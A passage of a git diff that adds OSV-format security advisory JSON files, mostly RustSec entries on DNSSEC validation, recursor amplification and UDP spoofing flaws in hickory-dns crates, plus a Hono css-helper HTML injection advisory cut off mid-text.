possible.","affected":[{"package":{"name":"vodozemac","ecosystem":"crates.io","purl":"pkg:cargo/vodozemac"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.11.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["vodozemac::Ed25519PublicKey::from_base64","vodozemac::Ed25519SecretKey::from_base64"],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0510.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/vodozemac"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0510.html"},{"type":"WEB","url":"https://github.com/matrix-org/vodozemac/pull/453"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0511.json b/data/crates.io/RUSTSEC-2026-0511.json new file mode 100644 index 0000000000..505e5a24ff --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0511.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0511","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:40:42.050905197Z","aliases":["CVE-2026-123594","GHSA-86vr-jm6c-7cpg","RUSTSEC-2026-0519"],"summary":"NXDOMAIN accepted for a proven empty non-terminal (hickory-proto)","details":"Up to 0.26.0-alpha.1, hickory-proto's NSEC validation accepted an NXDOMAIN response as secure even when the covering NSEC record's next domain name was below the queried name, which proves the name exists as an empty non-terminal. Because the response code is not signed, someone who can modify DNS responses could turn a genuine signed NODATA response into an accepted NXDOMAIN.\n\nFrom 0.26.0-beta.1 the DNSSEC validation code lives in the hickory-net crate, where this was fixed in hickory-net 0.26.2. No hickory-proto release contains a fix. Users of DNSSEC validation in older hickory-proto releases (directly or through hickory-resolver or hickory-recursor) should move to the 0.26.2 or later releases, which validate through hickory-net.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.0-beta.1"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0511.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0511.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/bfbe7ede4021965526f065be9b415945ce575e29"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0512.json b/data/crates.io/RUSTSEC-2026-0512.json new file mode 100644 index 0000000000..8ef3385cac --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0512.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0512","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:40:54.645975781Z","aliases":["CVE-2026-123581","GHSA-929p-gjf6-5hqj","RUSTSEC-2026-0520"],"summary":"DNSSEC validation accepted an unrelated signed RRset as the answer (hickory-proto)","details":"Up to 0.26.0-alpha.1, hickory-proto's DNSSEC validation treated a response with a non-empty answer section as a positive answer if its records validated, without checking that any of them matched the queried name and type. Someone who can answer or modify DNS responses could return a genuine signed RRset for another name or type and have it accepted as a validated answer.\n\nFrom 0.26.0-beta.1 the DNSSEC validation code lives in the hickory-net crate, where this was fixed in hickory-net 0.26.2. No hickory-proto release contains a fix. Users of DNSSEC validation in older hickory-proto releases (directly or through hickory-resolver or hickory-recursor) should move to the 0.26.2 or later releases, which validate through hickory-net.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.0-beta.1"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0512.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0512.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/77ec9c5d2e9481a0753bbaf1be3cd5175d300cff"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0513.json b/data/crates.io/RUSTSEC-2026-0513.json new file mode 100644 index 0000000000..ab698b7cbc --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0513.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0513","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:30:06.796669440Z","aliases":["CVE-2026-123604","GHSA-6w6g-hm98-mhgm"],"summary":"Unbounded retries on truncated responses in the name server pool","details":"When an upstream answer had the TC (truncated) bit set, the resolver's name server pool disabled UDP and sent the query again. It did this for every truncated answer, including answers that already came over TCP, and it kept no count of retries.\n\nA name server that sets TC on every answer, which anyone running an authoritative server the resolver queries can do, kept each lookup re-sending queries over the same connection until the request deadline (5 seconds by default) ran out. This uses up resolver resources and sends many queries per lookup.\n\nFrom 0.26.2 a truncated answer received after UDP has already been disabled ends the lookup with `NetError::Truncated` instead of retrying again.","affected":[{"package":{"name":"hickory-resolver","ecosystem":"crates.io","purl":"pkg:cargo/hickory-resolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0-beta.1"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0513.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-resolver"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0513.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/f9a7bc5d188e5b680b09aea91009d2fbf3fec58a"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0514.json b/data/crates.io/RUSTSEC-2026-0514.json new file mode 100644 index 0000000000..9eb5d2d5dc --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0514.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0514","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:30:06.143103321Z","aliases":["CVE-2026-93657","GHSA-5j98-2g5x-46v6"],"summary":"`Resolver::lookup` and `lookup_ip` returned records that failed DNSSEC validation","details":"With DNSSEC validation enabled, `Resolver::lookup()` and `Resolver::lookup_ip()` returned `Ok` with the records even when validation found the response bogus. The result was only visible in each record's proof status, which callers had to inspect themselves.\n\nApplications that enable validation and treat a successful lookup as validated data would therefore accept forged or tampered answers from anyone who can answer or modify their DNS traffic.\n\nFrom 0.26.2 a lookup whose records are bogus fails with a \"DNSSEC validation failed\" error (`DnsError::DnssecBogus`), the error is not retried, and the hickory-server forwarder answers SERVFAIL for it.","affected":[{"package":{"name":"hickory-resolver","ecosystem":"crates.io","purl":"pkg:cargo/hickory-resolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0514.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-resolver"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0514.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/30720f4fb22e5556ecbf26d2c8274ea4a9fdd238"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0515.json b/data/crates.io/RUSTSEC-2026-0515.json new file mode 100644 index 0000000000..67d1c08da2 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0515.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0515","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:40:53.913632545Z","aliases":["CVE-2026-123606","GHSA-6h5c-jjg5-wj59","RUSTSEC-2026-0521"],"summary":"Recursor followed every glueless name server in a referral, with no per-query budget","details":"When a referral listed name servers outside the delegated zone and gave no glue addresses, the recursor looked up A and AAAA records for every listed name server, recursing into each one. Only the chain-depth limits applied. There was no cap on how many name servers it chased per referral or on the total upstream work per client query.\n\nSomeone who controls a zone can return referrals that list many glueless name servers in a victim's domain, and nest them, so that each client query makes the recursor send a large number of queries to the victim's servers (the NXNSAttack pattern). The same can exhaust the recursor's own resources.\n\nThis affects the recursive resolver, which is in hickory-resolver behind the opt-in `recursor` feature from 0.26.0-beta.1. Earlier releases shipped it as the separate hickory-recursor crate.\n\nFrom 0.26.2 the recursor follows at most 5 glueless name servers per delegation and sends at most 200 upstream queries per client request.","affected":[{"package":{"name":"hickory-resolver","ecosystem":"crates.io","purl":"pkg:cargo/hickory-resolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0-beta.1"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0515.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-resolver"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0515.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/74062f3a3ef6904b64717dd025945702b2cf4133"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/47cd005b8f3d190134bbb943d2328ef8a83ade8c"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0516.json b/data/crates.io/RUSTSEC-2026-0516.json new file mode 100644 index 0000000000..9d89a02ed8 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0516.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0516","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:40:46.104677262Z","aliases":["CVE-2026-123586","GHSA-cx5j-p54p-q756","RUSTSEC-2026-0522"],"summary":"Recursor kept querying cyclic glueless sibling delegations","details":"Two zones can each delegate to name servers named only inside the other zone, with no glue records (the cyclic sibling case in RFC 9471 section 2.3). Such delegations can never be resolved, but the recursor did not stop when it came back to a zone it was already resolving. It kept sending queries until the per-request limits ran out, and zero TTLs on the referral NS records made this worse.\n\nSomeone who controls two such zones can make a recursor send many upstream queries for each client query.\n\nThis affects the recursive resolver, which is in hickory-resolver behind the opt-in `recursor` feature from 0.26.0-beta.1. Earlier releases shipped it as the separate hickory-recursor crate.\n\nFrom 0.26.2 each client request tracks the zones on its resolution stack and refuses to enter a zone that is already on it.","affected":[{"package":{"name":"hickory-resolver","ecosystem":"crates.io","purl":"pkg:cargo/hickory-resolver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0-beta.1"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0516.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-resolver"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0516.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/308dcfd5cd9bfaa50c956427380160505e5de532"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0517.json b/data/crates.io/RUSTSEC-2026-0517.json new file mode 100644 index 0000000000..6204edef06 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0517.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0517","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:30:06.803613748Z","aliases":["CVE-2026-123584","GHSA-v44v-c8m4-gc43"],"summary":"Spoofed malformed UDP datagrams abort DNS lookups","details":"While waiting for a reply on a UDP connection, the client parsed every datagram that arrived from the name server's address and port before checking its message ID. If parsing failed, the attempt ended with an error instead of dropping the datagram and waiting for the real reply. The receive loop also gave up after three datagrams.\n\nAn off-path attacker who can guess the client's source port, but not the transaction ID, can send one malformed datagram with a spoofed source address and make the pending lookup fail.\n\nThe fix reads the message ID from the first two bytes before parsing, ignores short datagrams and datagrams with the wrong ID, keeps listening until the outer timeout, and only then parses the response. It is in 0.26.2.","affected":[{"package":{"name":"hickory-net","ecosystem":"crates.io","purl":"pkg:cargo/hickory-net"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.26.0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0517.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-net"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0517.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/07ff35c1b33c1df27e398cee463e424cef951a82"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0518.json b/data/crates.io/RUSTSEC-2026-0518.json new file mode 100644 index 0000000000..1d19c96ad6 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0518.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0518","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:30:06.805745957Z","aliases":["CVE-2026-123592","GHSA-rx82-4p2j-j5cv"],"summary":"DNSSEC validation cache could reuse an Insecure result for a different name","details":"The DNSSEC validation cache used a 64-bit hash of the query as its key, and two keys with the same hash counted as equal. The `Hash` implementation of `Name` hashed the bytes of the labels but not where one label ends and the next begins, so names that differ only in the placement of dots (such as `ab.c.` and `a.bc.`) hashed to the same value.\n\nAn attacker who controls an unsigned delegation whose name collides in this way with a name in a signed zone can first get an Insecure result cached for their own name. A forged response for the signed name is then served from that cache entry without signature checks and returned with the AD bit clear, where validation should have failed.\n\nThis affects DNSSEC validation through `DnssecDnsHandle` when built with `dnssec-ring` or `dnssec-aws-lc-rs`.\n\nThe fix stores the query in the cache key and compares it on lookup. The `Hash` implementations of `Label`, `Name` and `LowerName` in hickory-proto were also changed to include label boundaries. Both are in 0.26.2.","affected":[{"package":{"name":"hickory-net","ecosystem":"crates.io","purl":"pkg:cargo/hickory-net"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0518.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-net"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0518.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/96b87c9ab0f10c1331cef56f88742eb00bce71e1"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/9c82ce0c529d33ef4b3d6507e3b8dbbb5cd0dd48"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0519.json b/data/crates.io/RUSTSEC-2026-0519.json new file mode 100644 index 0000000000..604439889c --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0519.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0519","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:40:42.050905197Z","aliases":["CVE-2026-123594","GHSA-86vr-jm6c-7cpg","RUSTSEC-2026-0511"],"summary":"NXDOMAIN accepted for an empty non-terminal that the NSEC record proves exists","details":"When an NSEC record's next domain name is below the queried name, the queried name exists as an empty non-terminal (RFC 8020 section 3.1). The NSEC validator did not check for this case and accepted an NXDOMAIN response backed by such a record as secure.\n\nThe response code is not covered by any signature. An attacker who can modify DNS responses can take a genuine signed NODATA response for an empty non-terminal, change its response code to NXDOMAIN, and have the validator accept that an existing name does not exist.\n\nThis affects DNSSEC validation through `DnssecDnsHandle` when built with `dnssec-ring` or `dnssec-aws-lc-rs`.\n\nThe fix rejects NXDOMAIN as bogus, and validates NODATA as secure, when the covering NSEC record's next domain name is below the queried name and is not the zone apex. It is in 0.26.2.","affected":[{"package":{"name":"hickory-net","ecosystem":"crates.io","purl":"pkg:cargo/hickory-net"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0519.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-net"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0519.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/bfbe7ede4021965526f065be9b415945ce575e29"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0520.json b/data/crates.io/RUSTSEC-2026-0520.json new file mode 100644 index 0000000000..52d9cd02e4 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0520.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0520","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:40:54.645975781Z","aliases":["CVE-2026-123581","GHSA-929p-gjf6-5hqj","RUSTSEC-2026-0512"],"summary":"DNSSEC validation accepted a validly signed but unrelated RRset as the answer","details":"When a response had a non-empty answer section, DNSSEC validation treated it as a positive answer as long as the records in it validated. It did not check that any of those records had the queried name and either the queried type or type CNAME.\n\nAn attacker who can answer or modify DNS responses can therefore return a genuine, signed RRset for some other name or type, and have it accepted as a validated answer to the query instead of being handled as a response with no matching data.\n\nThis affects DNSSEC validation through `DnssecDnsHandle` when built with `dnssec-ring` or `dnssec-aws-lc-rs`.\n\nThe fix requires at least one answer record that matches the query name and is either of the queried type or a CNAME, both for positive responses and when NSEC records are checked. It is in 0.26.2.","affected":[{"package":{"name":"hickory-net","ecosystem":"crates.io","purl":"pkg:cargo/hickory-net"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0520.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-net"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0520.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/77ec9c5d2e9481a0753bbaf1be3cd5175d300cff"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0521.json b/data/crates.io/RUSTSEC-2026-0521.json new file mode 100644 index 0000000000..d18d384ffb --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0521.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0521","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:40:53.913632545Z","aliases":["CVE-2026-123606","GHSA-6h5c-jjg5-wj59","RUSTSEC-2026-0515"],"summary":"Recursor followed every glueless name server in a referral (no fixed hickory-recursor release)","details":"For referrals whose name servers are outside the delegated zone and come without glue, the recursor resolved every listed name server, with no cap on referral width and no per-query work budget. Someone who controls a zone can use this to make each client query send a large number of queries to a victim's servers (the NXNSAttack pattern), or to exhaust the recursor.\n\nThe recursor code moved into hickory-resolver (opt-in `recursor` feature) in 0.26.0-beta.1, and the fix is in hickory-resolver 0.26.2. No hickory-recursor release contains a fix, so users should move to hickory-resolver 0.26.2 or later with the `recursor` feature.","affected":[{"package":{"name":"hickory-recursor","ecosystem":"crates.io","purl":"pkg:cargo/hickory-recursor"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.25.0-alpha.3"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0521.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-recursor"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0521.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/74062f3a3ef6904b64717dd025945702b2cf4133"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/47cd005b8f3d190134bbb943d2328ef8a83ade8c"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0522.json b/data/crates.io/RUSTSEC-2026-0522.json new file mode 100644 index 0000000000..376b8ed0ce --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0522.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0522","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T14:40:46.104677262Z","aliases":["CVE-2026-123586","GHSA-cx5j-p54p-q756","RUSTSEC-2026-0516"],"summary":"Recursor kept querying cyclic glueless sibling delegations (no fixed hickory-recursor release)","details":"Two zones can each delegate to name servers named only inside the other zone, with no glue records (RFC 9471 section 2.3). The recursor did not stop when it came back to a zone it was already resolving, so someone who controls two such zones can make it send many upstream queries for each client query.\n\nThe recursor code moved into hickory-resolver (opt-in `recursor` feature) in 0.26.0-beta.1, and the fix is in hickory-resolver 0.26.2. No hickory-recursor release contains a fix, so users should move to hickory-resolver 0.26.2 or later with the `recursor` feature.","affected":[{"package":{"name":"hickory-recursor","ecosystem":"crates.io","purl":"pkg:cargo/hickory-recursor"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.25.0-alpha.3"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0522.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-recursor"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0522.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/308dcfd5cd9bfaa50c956427380160505e5de532"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/npm/GHSA-3gg2-335m-rxc6.json b/data/npm/GHSA-3gg2-335m-rxc6.json new file mode 100644 index 0000000000..9a1d900e81 --- /dev/null +++ b/data/npm/GHSA-3gg2-335m-rxc6.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-3gg2-335m-rxc6","published":"2026-11-12T23:22:36Z","modified":"2026-11-12T23:30:03.858972167Z","aliases":["CVE-2026-126359"],"summary":"Hono: `css` helper does not escape a closing tag split between the template and an interpolated value, allowing HTML injection","details":"### Summary\n\nThe `css` helper in `hono/css` escapes a `/` that follows `<` inside an interpolated value so that a value cannot close the `` when that string starts with `/style>`. During server-side rendering the `